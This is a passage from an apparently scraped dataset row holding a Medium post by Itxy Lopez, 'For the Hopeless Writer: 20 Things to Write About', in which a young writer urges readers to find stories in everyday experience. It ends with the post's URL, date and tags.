'Cancer', 'Death', 'Dance', 'Freedom'] |
For the Hopeless Writer: 20 Things to Write About | Stop saying you have nothing to write about
It doesn’t matter that you’ve never jumped off a plane or had a top-selling Etsy shop. You have stories, words, and inspirational lessons to share anyway.
And if you don’t believe my words, look at me.
I’m twenty-one so that alone would throw people off. What do you have to say about life? one might think. (A lot, apparently.)
I didn’t go to college, I had a blog that failed after two years, and I’ve never been on a plane. I spend most of my days working and writing, probably when I should be taking advantage of my youth and having adventures.
My life isn’t amazing and filled with stories that leave you on the edge of your seat, but I still find things to write about.
Most of my experiences aren’t Instagram story-worthy, but they still matter. They may not be out of this world, but they’re stories that deserve to be shared nevertheless.
You’ve already gone through some of the ups and downs of life. No matter how “mundane,” they mean something.
You have an entire galaxy within you. You need to uncover and open the door to it, and let your stars shine. | https://medium.com/the-brave-writer/for-the-hopeless-writer-things-to-write-about-f2ccf700e463 | ['Itxy Lopez'] | 2019-09-18 15:51:44.542000+00:00 | ['Creativity', 'Motivation', 'Advice', 'Writing', 'Writing Tips'] |
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